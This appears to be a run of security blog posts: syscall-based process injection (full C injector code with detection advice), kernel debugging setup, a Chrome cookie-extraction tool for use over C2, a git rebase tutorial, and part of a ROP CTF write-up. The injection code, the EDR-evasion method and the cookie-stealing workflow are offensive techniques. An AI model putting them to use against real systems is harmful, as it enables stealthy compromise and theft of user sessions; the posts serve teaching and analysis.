This blog post can accompany a walkthrough video with herrcore on YouTube available here.
In the eternal cat-and-mouse chase between cyber attackers and cyber defenders, one of the critical activities that defenders can perform is the analysis of malware to draw out IOCs (Indicators of Compromise) and determine what it is that the malware has actually done on a system.
When malware is run on a Windows system it needs to interact with that system in some way. One of the most common ways to do so is by using the Windows API, where well known API calls such VirtualAllocateEx
, WriteProcessMemory
and CreateRemoteThread
would allow malware to inject some malicious code into a process and then run that code.
For this reason, when debugging malware one of the first things you'll see people do is set breakpoints on these well known API calls and any others that could be used to perform malicious actions.
Similarly, defensive software such as EDRs will often monitor these API calls, such as by hooking them so that when they are called they first take a detour into EDR code where the arguments and behaviour can be analysed, before allowing the API call to continue.
Attackers have attempted to circumvent this by going 'lower' and using internal or undocumented API calls, such as RtlCreateUserThread
or NtAllocateVirtualMemory
, but these in turn are now also under close scrutiny.
The latest step is to move the angle of approach to as close to the kernel as possible, and to use syscalls directly, but first we should probably cover what a syscall actually is.
Note, the following applies to 64-bit executables on 64-bit Windows . While similar, 32-bit applications and on 32-bit Windows and WOW64 work slightly differently.
As alluded to above, the Windows Operating System (OS) has multiple layers of abstraction in order to allow developers internally some license to make changes to the way Windows internals works without breaking any programs that use their APIs.
For example, Microsoft provide the Windows API with great documentation on msdn which developers that wish to interact with the OS are encouraged to use (for example CreateThread
in kernel32.dll which, unsurprisingly, creates a thread running some code). These API calls themselves may utilise other, lower level, internal or undocumented API calls, such as RtlCreateUserThread
(in ntdll.dll), in order to provide that abstraction layer and wrap code that may change or be platform dependent, etc.
Ultimately, most of these API calls need to make some change that needs to be handled by the Windows Kernel (such as anything using hardware like reading and writing to disk). 'Kernel space' is highly protected and userland code cannot make change to or call kernel functions, except through the use of syscalls.
These syscalls takes place in functions in ntdll.dll (or Win32k for graphical calls), and are prefixed with Nt
or Zw
, such as NtCreateThread
. These are the functions that actually perform the syscall, transferring execution from userland to the kernel in a controlled manner. So when an application calls, for example, CreateRemoteThread
, the actual flow looks something like this:
So what does a syscall look like?
Essentially a syscall is simply involves moving a predetermined number (the System Call Number) into the rax
register and then invoking the syscall
instruction, something like this:
This then hands execution over to the kernel, which looks up the relevant function for this syscall number in the System Service Dispatch Table (SSDT) and then invokes it.
Now, using syscalls as a developer is risky as the syscall numbers are internal to Windows and can (and do) change with any update. So if you write code that uses the syscall instruction directly you could have working code one minute and broken code the next.
However, to attackers, they provide an excellent opportunity to hide their tracks by interacting with the OS at the lowest possible userland level, bypassing any controls or detections in place around the API layers and making life more difficult for reverse engineers as their binaries will not have any of the usual imports for the activities they are performing. Similarly, the usual breakpoints when dynamically reverse engineering malware on VirtualProtect
, VirtualAlloc
, WriteProcessMemory
etc are all useless, as those API calls are not actually invoked.
To highlight this, I've written a simple example program that uses syscalls to execute some benign 'Message Box' shellcode into a target process. The code is available here for anyone interested in investigating further.
This program uses the popular Syswhispers2 project to do all the heavy lifting. Syswhispers2 maintains a lookup table of known syscall numbers across Windows versions and updates and populates the rax
register with the appropriate value at runtime before invoking the syscall
instruction to perform the action.
The functions are named after their 'real' counterparts to make it easy to develop in, but make no mistake - these are not the real functions ntdll.dll.
As we can see above, a function hash identifier is passed to the Syswhispers2 GetSyscallNumber
function which will determine the current OS and return the correct syscall number (in the rax
register, as per usual).
After other register values are restored, the syscall
instruction is then called.
This assembly file, along with the respective header and C files generated by Syswhispers2, can be imported in any project and provide you with the suite of functions you need to perform syscalls in your program and not use the Windows APIs at all.
In our example, we allocate some memory in the target process, write the shellcode to it, change it to execute permissions and then create a thread in the process to run the code.
#include <iostream>
#include "shellcode.h"
#include "syscalls.h"
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
int main(int argc, char* argv[])
{
printf("**** Syscalls Example! ****\n");
if (argc != 2) {
printf("[!] Usage: %s <pid to inject into>\n", argv[0]);
return EXIT_FAILURE;
}
auto pid = atoi(argv[1]);
if (!pid) {
printf("[-] Invalid PID: %s\n", argv[1]);
return EXIT_FAILURE;
}
HANDLE hProcess;
CLIENT_ID clientId{};
clientId.UniqueProcess = (HANDLE)pid;
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
auto status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to open process: %d, NTSTATUS: 0x%x\n", pid, status);
return EXIT_FAILURE;
}
printf("[*] Successfully opened process %d\n", pid);
size_t shellcodeSize = sizeof(shellcode) / sizeof(shellcode[0]);
printf("[*] Shellcode length: %lld\n", shellcodeSize);
PVOID baseAddress = NULL;
size_t allocSize = shellcodeSize;
status = NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &allocSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to allocate memory, NTSTATUS: 0x%x\n", status);
return EXIT_FAILURE;
}
printf("[*] Successfully allocated RW memory at 0x%p of size %lld\n", baseAddress, allocSize);
size_t bytesWritten;
status = NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, shellcodeSize, &bytesWritten);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to write shellcode to memory at 0x%p, NTSTATUS: 0x%x\n", baseAddress, status);
return EXIT_FAILURE;
}
printf("[*] Successfully wrote shellcode to memory\n");
DWORD oldProtect;
status = NtProtectVirtualMemory(hProcess, &baseAddress, &shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to change permission to RX on memory at 0x%p, NTSTATUS: 0x%x\n", baseAddress, status);
return EXIT_FAILURE;
}
printf("[*] Successfully changed memory protections to RX\n");
HANDLE hThread;
CONTEXT threadContext;
CLIENT_ID threadClientId;
USER_STACK teb;
status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to create thread, NTSTATUS: 0x%x\n", status);
return EXIT_FAILURE;
}
printf("[*] Successfully created thread in process\n");
printf("[+] Shellcode injected using syscalls!\n");
return EXIT_SUCCESS;
}
As you can see Syswhispers2 has made is super easy to use syscalls in malware, however any of this can be done manually of course or in slightly different ways by malware authors.
So now to the meat of the matter, what does malware that uses syscalls look like under the microscope, and what do we need to know to look for?
If we examine our example binary in CFF Explorer we can see that, as expected, it doesn't import any of the usual suspect API calls, similar to if it was using dynamic API resolution.
If we run it in a debugger, none of our API breakpoints get hit.
When we start to statically reverse engineer the binary we don't see calls to LoadLibrary
, no API hashes or dynamic resolution.
If we see this, and suspect the use of syscalls, one quick and easy win is to simply check for any syscall
instructions. We can do this in IDA through the Text search with Find all occurrences checked.
Normal applications should almost under no circumstances be making syscalls directly, and instead be using API calls to interact with the OS. If you find syscall instructions it is a large red flag.
Examining one of these instances we can see the function and recognise it from Syswhispers2, with the API hash being passed to the syscall number identification function and the the syscall
instruction itself at the bottom.
We can take this function hash (0xFBCC0E8
) and search for it in our example project, or Syswhispers2 itself, and find that it is for NtReadFile
.
Of course this only works if the target is using Syswhispers2, but knowing that the PE is using syscalls can help focus reversing efforts and ensure we don't miss anything. Attackers can also use hard-coded syscall numbers if they know the specific version of Windows that the payload will be run on, or write their own syscall number resolution routine.
Similarly, they can also set up a syscall and populate the rax
register but jmp
to a legitimate syscall
instruction in ntdll.dll. In this case, our Text search wouldn't find anything as there are no syscall instructions in the PE.
The best way however is to kernel debug the target and set breakpoints on the SSDT for functions of note (allocating virtual memory, writing to virtual memory etc), as this will allow the analyst to track the activity with 100% certainty.
This topic warrants its own blog post however, so we shall cover this next time!
An alternative, if we searched and found syscall
instructions in the PE, is to take the list of syscall instructions in IDA and use the relative offsets to place breakpoints on those calls when we're debugging the application.
For example, if we note the address of this instruction in IDA, we can see it's at a relative offset of 1B6D
(0x140001B6d - the module base address of 0x140000000).
So we can start debugging and stick a breakpoint on this offset (it is unlikely to be the same address due to ASLR, but we can just add this offset to the module base address once its loaded) along with all the other syscall instructions, and from there start to build a picture of what the application is doing.
Edit: After this blog post went out readgsqword on twitter reached out and shared the following code for idapython which I have included here.
from idautils import *
from idaapi import *
from idc import *
def breakpoint_syscall():
name = get_input_file_path().split("\\")[-1]
for segea in Segments():
for funcea in Functions(segea, get_segm_end(segea)):
functionName = get_func_name(funcea)
for (startea, endea) in Chunks(funcea):
for head in Heads(startea, endea):
disasm_line = generate_disasm_line(head,0)
if disasm_line.find("syscall") != -1 and disasm_line.find("Low latency system call") != -1:
offset = head - get_imagebase()
print("bp %s:0+0x%08x;"%(name, offset))
idc.add_bpt(head)
breakpoint_syscall()
If you have IDA pro you can paste this in the Python prompt and it will set a breakpoint on each code line in a function containing a syscall instruction.
For x64dbg lovers, it will also print the command needed to set breakpoints for each offset in x64dbg, which can be copy pasted into the x64dbg command prompt.
Here we can see it has created breakpoints on all five of the syscalls used (NtOpenProcess
, NtAllocateVirtualMemory
, NtWriteVirtualMemory
, NtProtectVirtualmemory
and NtCreateThreadEx
)
Note this will only create breakpoints for syscalls IDA finds in a function, so if the code is elsewhere in a binary or IDA believes is it not used, then this will not include those calls. However the search technique can be used as a fallback in that case.
We start debugging the malware again and once we hit the entrypoint we have the module address:
We know that a syscall instruction is at offset 1B6D
, so we stick a breakpoint on 0x7FF7C6E31B6D
This time, when we continue execution, we hit the breakpoint and x64dbg helpfully informs us that this syscall will call NtAllocateVirtualMemory
rax
and informs us this syscall is NtAllocateVirtualMemory
A quick search and we can see that the second argument to NtAllocateVirtualMemory
is a pointer to the location that will receive the base address of the allocation.
NtAllocateVirtualMemory
, despite being an internal API call, is documented on MSDN.The Windows 64-bit calling convention passes the first four integer arguments in the rcx
, rdx
, r8
and r9
registers, so if we follow rdx
in the dump and step over the syscall, we will see this location being populated with a pointer to the base address of the allocation.
rdx
points to this location before we step over the syscall.We can right-click this location and choose integer -> hex 64 to show this location as a 64 bit int, then copy the value and examine that region in our target process (here notepad.exe).
We can then open up the target process in Process Hacker and examine this location in memory, noting that it has indeed been allocated.
If we continue execution, rinsing and repeating for the other syscalls, we see the region get populated with the shellcode, the thread get created and then the message box pop as the shellcode is run.
It's worth noting however that this technique (along with the static analysis with the search) only works if the syscalls instructions take place inside the malware, such as with Syswhispers2, which is why the ultimate authority when dealing with syscall malware is a kernel mode debugger.
Using syscalls is a sophisticated technique available to attackers that take a little extra work but allows the malware to bypass API hooks, breakpoints and detections by interacting with the kernel directly via the syscall interface.
Knowing what to look for then if you suspect the use of syscalls then is extremely useful, and having this knowledge in the back pocket can help you avoid running afoul of malware using this technique. We've looked at what syscalls are, and some ways to help locate and debug what they are doing in 64bit Windows executables.
You can find the example projects (including a vanilla API example and a syscalls example) used in this blog on GitHub here: https://github.com/m0rv4i/SyscallsExample
]]>Kernel debugging always seemed a little arcane to me. It was something that techno-wizards partook in from their turbid lairs, whispering incantations over keyboards while us lesser mortals confine ourselves to the safety of userland.
This post however aims to pull aside the curtain and shed the sheen of mysticism from kernel debugging and demonstrate how straightforward it really is. In fact, this will be little more than a regurgitation of the MDSN post on the matter, with a few extra steps, details and opinions along the way.
To begin with, we'll need a debugger and debugee. While technically possible to debug the kernel on the host machine (with some pretty strong caveats) it's far easier and more productive to debug the kernel on one host from another, as otherwise when you hit a breakpoint and the kernel stops, well so does everything else...
The easiest way to do this nowadays is with the use of a Virtual Machine (the debuggee) performing any actions that we wish to investigate, communicating with its host (the debugger), which will be doing the investigating.
For the debugee we'll use the classic free Windows developer VM and run it from within VMWare.
For the host we'll use Windows 10 with WinDbg Preview from the Microsoft Store. This is the latest generation of the venerable WinDbg debugger from Microsoft. We'll also need the Debugging Tools for Windows 10 to be installed on the host.
The next step is to ensure that the debugee can communicate with the host. There are multiple ways to do this, such as via a serial port or a named pipe, but the easiest and most stable is simply a network socket.
For this to work, the host must be able to communicate with the VM on a specified IP and port. To this end, we'll set up the VM in Host-only mode. In VMWare, for the debugee VM, navigate to VM -> Settings and choose Host-only for the Network Adapter configuration.
Whilst we're on the host, we might as well take note of the host IP. In this case, I'm noting the host's IP on my home network by running ipconfig
from a PowerShell prompt on the host.
Next, we'll navigate to the Windows Debugging Tools directory on the host, by default at C:\Program Files (x86)\Windows Kits\10\Debuggers\x64, and copy the kdnet.exe and VerifiedNICList.xml files onto the debugee VM. We'll place these at a convenient location, for example C:\kdnet.
From an Administrator PowerShell prompt we then run `kdnet.exe`, which informs us that Network debugging is supported on the main Network Interface (NIC).
This NIC is the correct one for communicating with the host, so we can move forwards and enable network debugging between the two by running kdnet.exe <HostIP> <DebugPort>
. The debug port needs to be unique per debugee (in the event we want to debug more than one at a time) and it is recommended by Microsoft that we choose a port between 50000-500039.
In our case then we'll run kdnet.exe 192.168.1.105 50007
.
The output of kdnet.exe
provides us with a key and instructs to reboot the computer, however hold off on that for now and instead copy the key and move to the debugger.
From WinDbg Preview, choose File -> Start Debugging -> Attach to Kernel
Under the Net tab, enter the port number and the key from the output of kdnet.exe
. We don't need a Target IP (as it says), so instead just hit ok. WinDbg will note it's using NET debugging and we see a prompt saying "Waiting to reconnect..."
Then, reboot the VM (using the shutdown command kdnet.exe
provided or otherwise) and wait for the connection to the debugger. Shortly after hitting the splash screen as the VM boots, we should see the connection in the debugger.
We'll wait a little longer (the VM will probably be a fair bit slower while being debugged) and let the machine finish booting to ensure that all the system structures have been successfully set up and populated, and then we'll hit the 'break' button in the debugger to pause execution and allow us to start poking around the innards of Windows 10.
For example, issuing the lm k
command (loaded kernel modules) will list the various modules and drivers loaded into the kernel.
This brings us to the conclusion of this post. Microsoft have actually made it very accessible and straightforward to set up and get going with kernel debugging, and this post really only hopes to highlight this and act as a trampoline for what comes next.
Next time we'll be using the debugger to explore the kernel itself as we try to get a handle on what works where in Windows kernel land and explore the transition from userland to the kernel through the use of syscalls and interrupts.
]]>I recently came across the awesome cookie crimes repository by @defaultnamehere. This handy tool will extract cookies from Google Chrome, however it is a python script (with the option to use pyinstaller to package it as an executable), but what I really wanted was a .NET assembly that I can run in memory down C2 through tools such as PoshC2 using run-exe
or CobaltStrike beacon's execute-assembly
command.
To that end I decided to rewrite it in .NET, and the result is SharpCookieMonster. All credit for the original work goes to @defaultnamehere.
Simply pass the site name to the binary.
SharpCookieMonster.exe [https://sitename.com] [chrome-debugging-port] [user data dir]
An optional first argument sepcifies the site that chrome will initially connect to when launched (default https://www.google.com).
An optional second argument specifies the port to launch the chrome debugger on (by default 9142).
Finally, an optional third argument specifies the path to the user data directory, which can be overridden in order to access different profiles (default %APPDATALOCAL%\Google\Chrome\User Data).
As you can see, it can be used to extract session, httpOnly and secure cookies down a C2 channel all in memory. It has also been added to PoshC2 as a module and with Autoloads and Aliases set up, so it can be simply run using the sharpcookiemonster
. Under the hood this uses PoshC2's run-exe
feature.
This also works with CobaltStrike's beacon however using execute-assembly
.
It's also worth noting that you don't need any sort of privileged access to do this, just code execution in that user's context on the computer where the sessions are stored.
Under the hood this works by first launching Google Chrome as a headless process. We start by enumerating any running chrome.exe processes in order to pull out it's image path, but if that fails then we default to C:\Program Files (x86)\Google\Chrome\Application\chrome.exe. We then launch that executable, setting the approriate flags and redirecting that process' output to our stdout, so that we can see if it errors even when running it down our C2 channel.
The --headless
flag means that chrome.exe will essentially run without any user interface, but can be interacted with using its APIs. For a red teamer this is perfect, as it will only appear as another (genuine) chrome.exe process but will not present anything to the user. Remote debugging is then enabled for this process via the --remote-debugging-port
flag, and we point the data directory to the user's existing data directory using --user-data-dir
.
Once this is launched we then check if the process is running and wait for the debugger port to be open.
We can then interact with the API on that port to get the websocket debugger URL. This URL allows programs to interact with Chrome's devtools through an API over websockets, giving us the full power of those devtools. All this is done locally on the victim's machine, as that's where both this binary is being run, and the headless Chrome process is running.
We can then issue the request to retrieve all the cookies in the cache for that profile, and return them to the operator.
@defaultnamehere's original blog post on the topic goes into some more detail and is an excellent read for those wanting to know more.
If you want to build the binary yourself just clone it and build it in Visual Studio.
The project has been set up to be compatible with .NET 3.5 in order to be compatible with victims with older versions of .NET installed. However in order to use WebSockets to communicate with Chrome the WebSocket4Net package was added.
If you want to run this down C2 such as using PoshC2's sharpcookiemonster
command or via CobaltStrike's execute-assembly
then use ILMerge to merge the built executable with the dependency libraries.
For example, first rename the original binary then run:
ILMerge.exe /targetplatform:"v2,C:\Windows\Microsoft.NET\Framework\v2.0.50727" /out:SharpCookieMonster.exe SharpCookieMonsterOriginal.exe WebSocket4Net.dll SuperSocket.ClientEngine.dll
]]>If you're in Infosec and you use Git, there's a good chance that you're just using it to clone and use the wealth of awesome open-source tools out there in the industry. If that's the case, rebasing probably isn't for you - it's just an added complication that won't add any real benefits.
If however, you collaborate on any development or contribute to any projects, then rebasing is a must-have tool in your arsenal that will make yours and everyone else's lives easier.
If your git history looks like this, a multicoloured, entangled, spaghetti-like mess that gives you PTSD flashbacks to Through the Fire and Flames on Guitar Hero, then you should know that for no extra effort it can instead look like this:
Read on to find out how.
The thing to know about git is that under the hood all a commit is is just the collection of differences between files that make up its particular change.
When you first create a git project you perform your initial commit which adds files to the repository, and every subsequent commit just applies changes to those files (or creates or deletes files) known as diffs (differences).
These commits are then chained together, and you can navigate up and down the chain to view the repository in prior states, navigating 'back through time'. All git is doing under the hood is applying or unapplying those differences as you navigate that chain.
To show what differences make up a particular commit, we can use the git show <commit hash>
command.
For example, if we look at commit 8d95576 is PoshC2's repository, we can see that the commit message is printed, along with the author and date and so on. Under this there is the diff. It details that this should be applied to ./Help.py in the repository (the a and b just indicate the two versions of the file, before and after) and shows the affected lines, including what was deleted (the line prefixed with a -) and added (prefixed with a +), in this case, the version was updated from v4.8 to v5.0.
commit 8d95576a968e63d0c15bb4801add135ae64e9e12 (tag: v5.0) Author: benpturner <2518196+benpturner@users.noreply.github.com> Date: Wed Nov 13 08:28:13 2019 +0000 Updated version on banner diff --git a/Help.py b/Help.py index dcf47ae..205e9eb 100644 --- a/Help.py +++ b/Help.py @@ -9,7 +9,7 @@ logopic = Colours.GREEN + r""" | | ( <_> )___ \| Y \ \ \____/ \\ |____| \____/____ >___| / \______ /\_______ \\ \/ \/ \/ \/ - =============== v4.8 www.PoshC2.co.uk ============= + =============== v5.0 www.PoshC2.co.uk ============= =========== %s =========== """ % commit
So that all works well when one individual is committing changes in a linear fashion, but what happens when a second changes the same line?
If two people are working on the same repository and they both perform one or more git commits, then how does git know what to do when they both try and push up their changes?
Well the first person to push is lucky, their commit goes straight up as the next commit on the branch. The second person however will try and push their change and it will get rejected and the server will say there's already another link in the commit chain at the place they are trying to add theirs.
#2 will then have to pull down #1's changes and merge them locally, then push up the new state, with the chain in the correct place.
During the git pull
git will try and automatically smush the two states together, applying all of #2's changes on top of #1's work. If that works, great, if not #2 has to manually merge the changes into the correct state, whatever that may be.
After all this, the final merged state is committed into a 'merge commit' which encompasses all the changes that were added by #2, even if they were originally split into multiple commits. However the final git history shows both the original commits and the merge commit as the latter may have altered the original work while merging, but this appears to show duplicated work in the history as commits that are 'branched off', and when this happens with multiple users or multiple merges at a time, the history can get real messy real quick.
As you can see above in this simple case, the two commits that make up the merge (in purple) are shown as branched off as they were performed in a different 'timeline', and then a separate merge commit which encompasses all the changes from both of these commits is added to the main chain when those commits are merged. If the user encounters merge conflicts while merging these commits, they will have to resolve all the changes at once from all the commits, which can be hard to track and determine how each conflict should be resolved if the change is made up of multiple commits (here two).
All of this is the default way of doing things but it can end up being a bit of a nightmare trying to track down exactly what change came from where and who, which is why we're going to look at rebasing.
Rebasing is an alternative merging technique for git that involves taking the diffs in the commits that make up your change and just 'replaying' them on top of the head of the chain - you are changing the base of the branch to be the other branch (re-basing) and then applying any new commits on top.
So in the case of the version update commit above, if this commit was rebased onto master instead of merged, the change would just be applied on top of master as if it were a normal commit. If that would be the case anyway as no new commits were on the master branch, then the branch is instead just fast-forwarded to the most recent commit, as the work is already done.
If this is not the case and the first change is applied without any errors, then the next commit is applied on top of that one, and so on. The end result is that the states end up getting merged 'as if' they had happened all sequentially in the same 'timeline', as opposed to in parallel.
If there is an unresolvable conflict while applying a commit, then that conflict must still solved manually by the user, however these are done incrementally as the commits are applied one-by-one as opposed to all in one big blob. This makes it a lot easier to manage, as they will be smaller changes and you can compare the changes for the commits before and after to check state.
The most common case where merges happen is when doing a git pull
. You've made changes locally, someone else has made changes and pushed them to the server, and now you have to merge them.
To perform a rebase instead of a merge when doing a pull, simply add the --rebase
option:
git pull --rebase
This will rewind your work to determine what is 'new', then apply those on top of the remote branch. For example, if we just had one commit called 'WIP':
First, rewinding head to replay your work on top of it...
Applying: WIP
You can also set up your git configuration to automatically rebase when pulling by running this command:
git config --global pull.rebase true
Then you can just enter git pull
as usual.
If you want to rebase a branch locally (such as keeping a development branch up-to-date with master), you first check out the branch you want to change.
git checkout development
Then you use the git rebase
command to rebase that branch on top of master, making it appear that all the new commits on development happened in a new timeline ahead of all commits on master
git rebase master
This command can include tags, hashes, references and so on such as:
git rebase origin/master
git rebase 583e3fb601cf1d6b683013e9c56dd22e59613975
If you want to abort your rebase you can run:
git rebase --abort
The only real 'gotcha' with this technique is that it alters the history of the branch you are rebasing as you are changing that branches base and then applying diffs on top of it.
The only case where this can be problematic is if the branch has already been pushed, as you cannot push a branch and change its history (caveat - keep reading) so your new push will be rejected. In general, only rebase local branches or local changes before pushing them up.
If you (and other contributors) commit locally and rebase when you pull instead of merging, then you two can have that slick, linear git history that makes things so much easier to view, in addition to simplifying merge conflicts and looking like a real boss.
If you do have to rebase a change that has already been pushed, then you can 'force push' with git push --force
. Your branch which will overwrite the remote branch's history. This has the potential to lose work! - if someone else has pushed up another commit and you force push you can overwrite the history as if the change had never occurred, so be careful when doing so.
Rebasing is awesome and for no real extra effort it can make your life a lot easier. With a slight change to your configuration or commands you use, you too can adopt this better way of working.
For more git-fu, including how to get out of those 'oh crap' moments and how to avoid deleting and re-cloning repositories, check out the Git for Hackers series.
]]>This time we're looking at the fourth ropemporium challenge, write4, but this time we're going to do it in 64-bit. We'll have to write our own command to memory and then call system to execute it.
As per usual, let's run it:
# ./write464
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
> test
Exiting
Looks similar to the others, let's fire up radare2.
r2 write464 -- This code was intentionally left blank, try 'e asm.arch = ws' [0x00400650]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Use -AA or aaaa to perform additional experimental analysis. [x] Finding function preludes [x] Enable constraint types analysis for variables [0x00400650]> afl 0x00400650 1 41 entry0 0x00400610 1 6 sym.imp.__libc_start_main 0x00400680 4 50 -> 41 sym.deregister_tm_clones 0x004006c0 4 58 -> 55 sym.register_tm_clones 0x00400700 3 28 entry.fini0 0x00400720 4 38 -> 35 entry.init0 0x004007b5 1 82 sym.pwnme 0x00400600 1 6 sym.imp.memset 0x004005d0 1 6 sym.imp.puts 0x004005f0 1 6 sym.imp.printf 0x00400620 1 6 sym.imp.fgets 0x00400807 1 17 sym.usefulFunction 0x004005e0 1 6 sym.imp.system 0x004008a0 1 2 sym.__libc_csu_fini 0x004008a4 1 9 sym._fini 0x00400830 4 101 sym.__libc_csu_init 0x00400746 1 111 main 0x00400630 1 6 sym.imp.setvbuf 0x004005a0 3 26 sym._init 0x00400640 1 6 sym..plt.got [0x00400650]>
We see some stuff that at this point we're familiar with, let's take a look at the suspiciously useful function. This time we'll use the hud functionality to search for the function.
Let's enter visual mode with V
and scroll through the visual modes until we get to the disassembler with p
. We can then search through all flags by pressing the _
key, we then get a search prompt which dynamically searches the flags as we type.
As we search for 'useful' we notice there are in fact two flags:
0> usefu| - 0x00400807 sym.usefulFunction 0x00400820 loc.usefulGadgets
One is the usefulFunction we're expecting, but the second is a location flag called usefulGadgets. We notice that the memory addresses are pretty close together, let's press enter and navigate to the usefulFunction and take a look...
[0x00400807 [xAdvc] 0% 220 write464]> pd $r @ sym.usefulFunction ┌ (fcn) sym.usefulFunction 17 │ sym.usefulFunction (); │ 0x00400807 55 push rbp │ 0x00400808 4889e5 mov rbp, rsp │ 0x0040080b bf0c094000 mov edi, str.bin_ls ; 0x4 │ 0x00400810 e8cbfdffff call sym.imp.system ;[1] │ 0x00400815 90 nop │ 0x00400816 5d pop rbp └ 0x00400817 c3 ret 0x00400818 0f1f84000000. nop dword [rax + rax] ;-- usefulGadgets: 0x00400820 4d893e mov qword [r14], r15 0x00400823 c3 ret 0x00400824 662e0f1f8400. nop word cs:[rax + rax] 0x0040082e 6690 nop
The usefulFunction looks similar to the other challenges and includes the code that imports system
, but this time it's followed by some gadgets , in particular a mov
gadget that shifts memory around... hmm...
The name of the challenge and the gadget we have implies that we're supposed to write our own string to memory, however just in case let's search the binary for strings that may be useful. We can use our hud again to search through the output of any command by appending ~...
. As we're in visual mode we'll have to hit :
to enter a command, then izz~...
to enter the hud:
0> cat|
yep...nothing, and the same for sh. We are indeed goning to have to write one in ourselves.
Let's take a closer look at the useful gadget:
;-- usefulGadgets: 0x00400820 4d893e mov qword [r14], r15 0x00400823 c3 ret
This gadget moves the value of the r15 register into the address pointed at by the r14 register. What we want then, is the ability to control what r14 and r15 contain and we can write to any arbitrary memory address.
Let's see what other gadgets there are and see if we have what we need.
From command mode (or with a :
again), let's search for a pop r14
gadget and see if we have one.
[0x0040084a]> /R pop r14 0x0040088c 415c pop r12 0x0040088e 415d pop r13 0x00400890 415e pop r14 0x00400892 415f pop r15 0x00400894 c3 ret 0x0040088d 5c pop rsp 0x0040088e 415d pop r13 0x00400890 415e pop r14 0x00400892 415f pop r15 0x00400894 c3 ret 0x0040088f 5d pop rbp 0x00400890 415e pop r14 0x00400892 415f pop r15 0x00400894 c3 ret [0x0040084a]>
As luck would have it, we have a gadget that will pop r14
and pop r15
in one at 0x00400890. So it looks like we can write a string to memory, then use the rop techniques we have used previously to call system
with our string!
Let's create our skeleton pwntools script, except this time for 64-bit, and we'll directly add our cyclic string to find the offset to the expected crash. As the registers are 8 bytes long instead of 4 (64-bits) we'll need to specify n=8
in our cyclic functions to ensure every set of 8 characters is unique.
#!/usr/bin/env python2 import pwn # Set the context for any pwntools magic pwn.context.arch = 'amd64' # Load the binary as a pwntools ELF pwn.context.binary = binary = pwn.ELF('./write464') # Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb pwn.context.terminal = ['byobu', 'new-window'] gdb_cmds = [ 'b* main', 'c' ] # Start debugging io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds)) io.recvuntil("> ") io.sendline(pwn.cyclic(100, n=8)) io.interactive()
After running our this we see the expected crash:
Program received signal SIGSEGV, Segmentation fault. 0x0000000000400806 in pwnme () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x00007ffffc33c7c0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]" $rbx : 0x0 $rcx : 0xfbad2088 $rdx : 0x00007ffffc33c7c0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]" $rsp : 0x00007ffffc33c7e8 → "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]" $rbp : 0x6161616161616165 ("eaaaaaaa"?) $rsi : 0x00007fb7557548d0 → 0x0000000000000000 $rdi : 0x00007ffffc33c7c1 → "aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[...]" $rip : 0x0000000000400806 → <pwnme+81> ret $r8 : 0x0000000000c652c5 → 0x0000000000000000 $r9 : 0x77 $r10 : 0x0000000000c65010 → 0x0000000000000000 $r11 : 0x246 $r12 : 0x0000000000400650 → <_start+0> xor ebp, ebp $r13 : 0x00007ffffc33c8d0 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007ffffc33c7e8│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]" ← $rsp 0x00007ffffc33c7f0│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]" 0x00007ffffc33c7f8│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa" 0x00007ffffc33c800│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa" 0x00007ffffc33c808│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaa" 0x00007ffffc33c810│+0x0028: "kaaaaaaalaaaaaaamaaa" 0x00007ffffc33c818│+0x0030: "laaaaaaamaaa" 0x00007ffffc33c820│+0x0038: 0x0000000a6161616d ("maaa"?) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4007ff <pwnme+74> call 0x400620 <fgets@plt> 0x400804 <pwnme+79> nop 0x400805 <pwnme+80> leave → 0x400806 <pwnme+81> ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "write464", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x400806 → pwnme() ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤
However this time it looks a little different, the segfault has occurred but rip points to a ret
and not to a portion of our cyclic buffer.
